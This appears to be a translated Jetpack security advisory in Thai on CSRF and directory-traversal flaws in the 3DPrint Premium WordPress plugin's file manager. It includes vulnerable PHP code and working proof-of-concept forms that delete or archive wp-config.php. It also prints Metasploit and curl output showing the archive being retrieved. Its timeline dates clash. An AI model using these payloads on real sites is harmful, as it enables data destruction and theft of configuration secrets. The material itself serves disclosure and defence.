พบช่องโหว่ในปลั๊กอิน 3DPrint Premium

เผยแพร่แล้ว: 2022-12-13

ปลั๊กอิน WordPress รุ่นพรีเมียม 3DPrint มีความเสี่ยงต่อ Cross Site Request Forgery (CSRF) และการโจมตีผ่านไดเรกทอรีเมื่อเปิดใช้งานฟังก์ชันตัวจัดการไฟล์ ช่องโหว่เหล่านี้ทำให้ผู้โจมตีสามารถลบหรือเข้าถึงไฟล์และไดเร็กทอรีตามอำเภอใจบนไซต์ที่ได้รับผลกระทบ รวมถึงไฟล์ที่ละเอียดอ่อน เช่น ไฟล์การกำหนดค่าไซต์ ซึ่งอาจนำไปสู่การยึดครองไซต์ทั้งหมดอีกครั้ง

เมื่อเร็ว ๆ นี้ ในขณะที่ตรวจสอบผลบวกปลอมที่อาจเกิดขึ้นซึ่งถูกตั้งค่าสถานะโดยลายเซ็นทดลองของเรา เราค้นพบรหัสบางอย่างที่ทำให้เรางงงวยในปลั๊กอินพรีเมียมของ 3DPrint

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

ข้อมูลโค้ดนี้พบได้ในโมดูล Tiny File Manager PHP ซึ่งอยู่ภายในไดเรกทอรีรวมของปลั๊กอิน แต่ไม่พบในโครงการ Tiny File Manager ดั้งเดิม ดูเหมือนว่าจะถูกฉีดด้วยความตั้งใจที่จะรวมเข้ากับการควบคุมการเข้าถึงตามบทบาทของ WordPress

การโหลดไฟล์โค้ด WordPress ในลักษณะนี้ในโมดูลที่ไม่เกี่ยวข้องมักจะเป็นสัญญาณว่ามีบางอย่างผิดปกติ เราจึงตัดสินใจที่จะตรวจสอบเพิ่มเติม

ผู้อ่านที่สังเกตการณ์จะสังเกตเห็นว่าการเข้าถึงโมดูลนั้นจำกัดเฉพาะผู้ใช้ที่มีบทบาทผู้ดูแลระบบ แต่ไม่มีการตรวจสอบใดๆ จะไม่เป็นไรถ้า Tiny File Manager มีการป้องกัน CSRF ของตัวเอง แต่เนื่องจากไม่เป็นเช่นนั้น ดูเหมือนว่าโค้ดนี้อาจเสี่ยงต่อการถูกโจมตี CSRF (ตัวจัดการไฟล์ขนาดเล็กตั้งแต่นั้นมาก็ได้เพิ่มการป้องกัน CSRF หลังจากที่เราแจ้งให้พวกเขาทราบถึงปัญหาแล้ว เวอร์ชัน 2.5.0 และใหม่กว่าน่าจะปลอดภัยกว่าที่จะใช้มาก!)

ปัจจัยที่ซับซ้อนคือ Tiny File Manager ไม่ รวมอยู่ในแพ็คเกจเมื่อติดตั้ง 3DPrint ระดับพรีเมียม แต่จะดาวน์โหลดตามความต้องการเมื่อเปิดใช้งาน เวอร์ชันที่ดาวน์โหลดในขณะที่เขียนคือเวอร์ชัน 2.4.4 แต่ได้รับการแก้ไขอย่างหนักโดยนักพัฒนา 3DPrint และดาวน์โหลดจากโดเมนของพวกเขา ไม่ใช่โดยตรงจากที่เก็บ Tiny File Manager

การเปลี่ยนแปลงส่วนใหญ่ทำการลบฟังก์ชันที่ปลั๊กอินไม่ได้ใช้งานออกไป รวมถึงการเปลี่ยนแปลงอื่นๆ เล็กน้อย เช่น การฮาร์ดโค้ดพาธ การจำกัดสิ่งที่ตัวจัดการไฟล์ควรสามารถเข้าถึงได้ นอกจากนี้ คุณลักษณะการพิสูจน์ตัวตนและการให้สิทธิ์ในตัว Tiny File Manager ได้ถูกปิดใช้งานและแทนที่ด้วยการผสานรวมกับระบบบทบาทของ WordPress

เราได้ค้นพบช่องโหว่ 2-3 ข้อที่การผสมผสานของการควบคุมการเข้าถึงที่แก้ไขและการรวม Tiny File Manager ในปลั๊กอิน 3DPrint ทำให้ผู้โจมตีจากภายนอกสามารถใช้ประโยชน์ได้ ซึ่งรวมถึงการลบหรือดาวน์โหลดไฟล์ที่ละเอียดอ่อน ซึ่งอาจทำให้มีการครอบครองเว็บไซต์ทั้งหมด ช่องโหว่เหล่านี้ใช้ประโยชน์จากการขาดการตรวจสอบที่ไม่เคยมีมาก่อนในการควบคุมการเข้าถึงที่แก้ไข พร้อมกับช่องโหว่การข้ามผ่านไดเร็กทอรีใน Tiny File Manager เอง

เราได้พยายามติดต่อผู้จำหน่ายทั้งปลั๊กอิน 3DPrint และโครงการ Tiny File Manager ในจำนวนนี้ มีเพียงผู้พัฒนาโครงการ Tiny File Manager เท่านั้นที่ตอบกลับเราและแก้ไขปัญหาที่เราส่งไปให้

ตรวจสอบ WAF ใหม่ของเราซึ่งเป็นส่วนหนึ่งของ Jetpack Scan ซึ่งจะป้องกันการโจมตีเหล่านี้ตั้งแต่แกะกล่อง ขณะนี้อยู่ในรุ่นเบต้า Jetpack Scan จะตรวจจับส่วนประกอบที่มีช่องโหว่และช่วยลบออกด้วย

เนื่องจากโมดูล Tiny File Manager ถูกดาวน์โหลดและติดตั้งตามความต้องการ จึงไม่จำเป็นต้องมีความสอดคล้องกันระหว่างเวอร์ชันของปลั๊กอินและเวอร์ชันของ Tiny File Manager ที่กำลังใช้อยู่ อย่างไรก็ตาม เมื่อติดตั้งแล้ว ดูเหมือนจะไม่มีวิธีง่ายๆ ในการอัปเดตโมดูล Tiny File Manager นอกเหนือจากการลบด้วยตนเองและเปิดใช้งานอีกครั้ง

ด้วยเหตุผลนี้ เราถือว่า 3DPrint ทุกเวอร์ชันมีความเสี่ยงต่อช่องโหว่ด้านล่างหากเปิดใช้งานตัวจัดการไฟล์

ช่องโหว่

1. CSRF นำไปสู่การลบไฟล์/ไดเร็กทอรีโดยพลการ

  • ปลั๊กอิน: 3DPrint
  • ปลั๊กอินทาก: 3dprint
  • URI ของปลั๊กอิน: http://www.wp3dprinting.com/2015/07/29/changelog/
  • เวอร์ชันที่มีช่องโหว่: ทั้งหมด
  • เวอร์ชันคงที่: ไม่มี
  • คะแนน CVSS: 8.2 (สูง, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
  • CVE: CVE-2022-3899

ฟังก์ชันการลบจำนวนมากใน Tiny File Manager เวอร์ชันที่รวมอยู่ (เวอร์ชัน 2.4.4) ไม่ได้รับการป้องกันอย่างถูกต้องจากการข้ามผ่านไดเร็กทอรีและยังขาดการป้องกัน CSRF ซึ่งช่วยให้ผู้โจมตีหลอกผู้ดูแลระบบให้ลบไฟล์หลายไฟล์หรือแม้แต่ไดเร็กทอรีบนเซิร์ฟเวอร์ซ้ำได้

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

สิ่งนี้สามารถใช้ประโยชน์ได้โดยการส่งผ่าน group และ delete พารามิเตอร์ POST ไปยังค่าใดๆ และส่งผ่านอาร์เรย์ของไฟล์/ไดเร็กทอรีเพื่อลบในพารามิเตอร์ file ตัวแปร $new_path เป็นการเชื่อมข้อมูลอย่างง่ายของ FM_ROOT_PATH และชื่อไฟล์ที่ส่งผ่านไปยังฟังก์ชันการลบซ้ำ fm_rdelete() เนื่องจาก fm_rdelete() ไม่ได้ทำการตรวจสอบความถูกต้องของชื่อพาธที่กำหนด ทำให้โค้ดนี้เสี่ยงต่อการถูกโจมตีผ่านไดเร็กทอรี

นี่คือตัวอย่างการพิสูจน์แนวคิด:

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

พาธทั้งหมดสัมพันธ์กับไดเร็กทอรี wp-content/uploads/p3d/ บนเซิร์ฟเวอร์ เมื่อผู้ดูแลระบบที่เข้าสู่ระบบคลิกปุ่มเพื่อรวย การอัปโหลดของพวกเขาจากปี 2020 จะถูกลบพร้อมกับไฟล์ wp-config.php ของไซต์

2. CSRF นำไปสู่การดาวน์โหลดโดยพลการ

  • ปลั๊กอิน: 3DPrint
  • ปลั๊กอินทาก: 3dprint
  • URI ของปลั๊กอิน: http://www.wp3dprinting.com/2015/07/29/changelog/
  • เวอร์ชันที่มีช่องโหว่: ทั้งหมด
  • เวอร์ชันคงที่: ไม่มี
  • คะแนน CVSS: 7.4 (สูง, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
  • CVE: CVE-2022-4023

ฟังก์ชันใน Tiny File Manager เวอร์ชันรวม (เวอร์ชัน 2.4.4) เพื่อดาวน์โหลดไฟล์เก็บถาวร zip หรือ tar ของไฟล์ที่เลือกไม่ได้รับการป้องกันจากการข้ามผ่านไดเรกทอรีและขาดการป้องกัน CSRF ซึ่งช่วยให้ผู้โจมตีหลอกผู้ดูแลระบบให้สร้างไฟล์ zip หรือ tar ที่มีไฟล์และไดเร็กทอรีตามอำเภอใจจากไซต์ รวมถึงไฟล์การกำหนดค่าหรือเนื้อหาที่ละเอียดอ่อนอื่นๆ

ไฟล์เก็บถาวรจะอยู่ในไดเรกทอรีอัปโหลด 3DPring ปกติ wp-content/uploads/p3d/ ชื่อไฟล์นั้นควบคุมได้เพียงบางส่วนโดยผู้โจมตี แต่สามารถคาดเดาได้เพียงพอที่จะใช้กำลังเดรัจฉาน หากพวกเขารู้ว่าคำขอปลอมถูกส่งมาในเวลาใด การคาดเดาอย่างมีการศึกษาก็ไม่ใช่เรื่องเล็กน้อยเช่นกัน

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

การส่งคำขอโพสต์กับ group และตัวแปร zip หรือ tar ที่ตั้งค่าเป็นค่าใดๆ จะสร้างไฟล์เก็บถาวรด้วยไฟล์ที่ระบุในพารามิเตอร์ file วันที่และเวลาปัจจุบันจะถูกต่อท้ายชื่อไฟล์สำหรับไฟล์เก็บถาวร ซึ่งจะมีชื่อฐานเดียวกับไฟล์ที่เก็บถาวร หรือ “ไฟล์เก็บถาวร” หากไฟล์เก็บถาวรหลายไฟล์รวมกัน ไฟล์เก็บถาวรจะถูกสร้างขึ้นในไดเร็กทอรีอัปโหลด 3DPrint แต่ชื่อพาธของไฟล์จะไม่ได้รับการฆ่าเชื้อ และอาจมีพาธนอกไดเร็กทอรีนี้ ทำให้เสี่ยงต่อการถูกโจมตีผ่านไดเร็กทอรี

ในการใช้ประโยชน์จากช่องโหว่นี้ เราได้สร้างโมดูลเพย์โหลดอย่างง่ายสำหรับ Metasploit ซึ่งทำหน้าที่เป็นแบบฟอร์มการส่งด้วยตนเองพร้อมเพย์โหลดที่เป็นอันตรายไปยังไซต์ที่มีช่องโหว่ หลักฐานของน้ำหนักบรรทุกแนวคิดที่ส่งไปคือ:

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

เนื่องจากโมดูล Metasploit จะบันทึกการประทับเวลาที่ส่งแบบฟอร์ม ซึ่งทำให้ง่ายต่อการเดาชื่อไฟล์ที่ถูกต้องสำหรับไฟล์เก็บถาวรที่สร้างขึ้น

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

สังเกตว่าเราสามารถอนุมานชื่อไฟล์ของไฟล์เก็บถาวรที่สร้างขึ้นจากการประทับเวลาของคำขอได้อย่างไร ในกรณีนี้ เซิร์ฟเวอร์คอนเทนเนอร์กำลังเรียกใช้เขตเวลาหนึ่งหลังเขตเวลาท้องถิ่น

คำแนะนำ

เนื่องจากเวอร์ชันของตัวจัดการไฟล์ที่ติดตั้งไม่ขึ้นอยู่กับเวอร์ชันของปลั๊กอินที่ติดตั้ง เราจึงไม่สามารถแนะนำปลั๊กอินเวอร์ชันตายตัวได้

เรายังไม่พบวิธีง่ายๆ ในการอัปเดตโมดูลตัวจัดการไฟล์ หากมีเวอร์ชันใหม่ออกมาในภายหลัง

ด้วยเหตุผลนี้ เราจึงถือว่าปลั๊กอินพรีเมียม 3DPrint ทุกเวอร์ชันมีช่องโหว่ หากเปิดใช้คอมโพเนนต์ตัวจัดการไฟล์

คำแนะนำของเราคือตรวจสอบให้แน่ใจว่าโมดูลตัวจัดการไฟล์ถูกปิดใช้งาน และ ไฟล์นั้นถูกลบออกจากไซต์

วิธีที่ง่ายที่สุดคือการลบไฟล์ wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php หากมีอยู่

ข้อสรุป

ปลั๊กอินพรีเมียม 3DPrint ทุกเวอร์ชันมีความเสี่ยงต่อ CSRF และการโจมตีผ่านไดเรกทอรีหากเปิดใช้งานโมดูลตัวจัดการไฟล์บนไซต์ การดำเนินการนี้ไม่มีผลกับปลั๊กอินเวอร์ชันฟรีที่ดาวน์โหลดจากที่เก็บปลั๊กอิน WordPress.org

ที่ Jetpack เราทำงานอย่างหนักเพื่อให้แน่ใจว่าเว็บไซต์ของคุณได้รับการปกป้องจากช่องโหว่ประเภทนี้ เราขอแนะนำให้คุณมีแผนรักษาความปลอดภัยสำหรับไซต์ของคุณ ซึ่งรวมถึงการสแกนไฟล์ที่เป็นอันตรายและการสำรองข้อมูล ชุดความปลอดภัย Jetpack เป็นตัวเลือกความปลอดภัยที่ยอดเยี่ยมอย่างหนึ่งของ WordPress เพื่อให้แน่ใจว่าไซต์และผู้เยี่ยมชมของคุณปลอดภัย ผลิตภัณฑ์นี้ประกอบด้วยการสแกนมัลแวร์ตามเวลาจริง การสำรองข้อมูลไซต์ การป้องกันความคิดเห็นและแบบฟอร์มสแปมจาก Akismet การป้องกันการโจมตีด้วยกำลังดุร้าย และอื่น ๆ

เครดิต

การวิจัยโดย Harald Eilertsen พร้อมข้อเสนอแนะและการแก้ไขโดย Benedict Singer, Rob Pugh, Jen Swisher และทีม Jetpack Scan

เส้นเวลา

  • 2022-09-08: เราได้รับทราบถึงการค้นพบและเริ่มทำการสอบสวน
  • 2022-10-25: ติดต่อผู้ขายครั้งแรก
  • 2022-11-01: ผู้ขายติดต่อเป็นครั้งที่สองผ่านช่องทางอื่น
  • 2022-11-08: เปิดเผยช่องโหว่การลบจำนวนมาก (CVE-2022-3899)
  • 15-11-2022: ติดต่อนักพัฒนาซอฟต์แวร์ของ Tiny File Manager เกี่ยวกับการไม่มีการป้องกัน CSRF และช่องโหว่ในการเข้าถึงไดเร็กทอรี
  • 11-11-2022: Tiny File Manager 2.5.0 เปิดตัว แก้ไขปัญหา CSRF แต่ไม่ใช่ปัญหาการแวะผ่านไดเรกทอรี
  • 2022-12-13: การเปิดเผยต่อสาธารณะ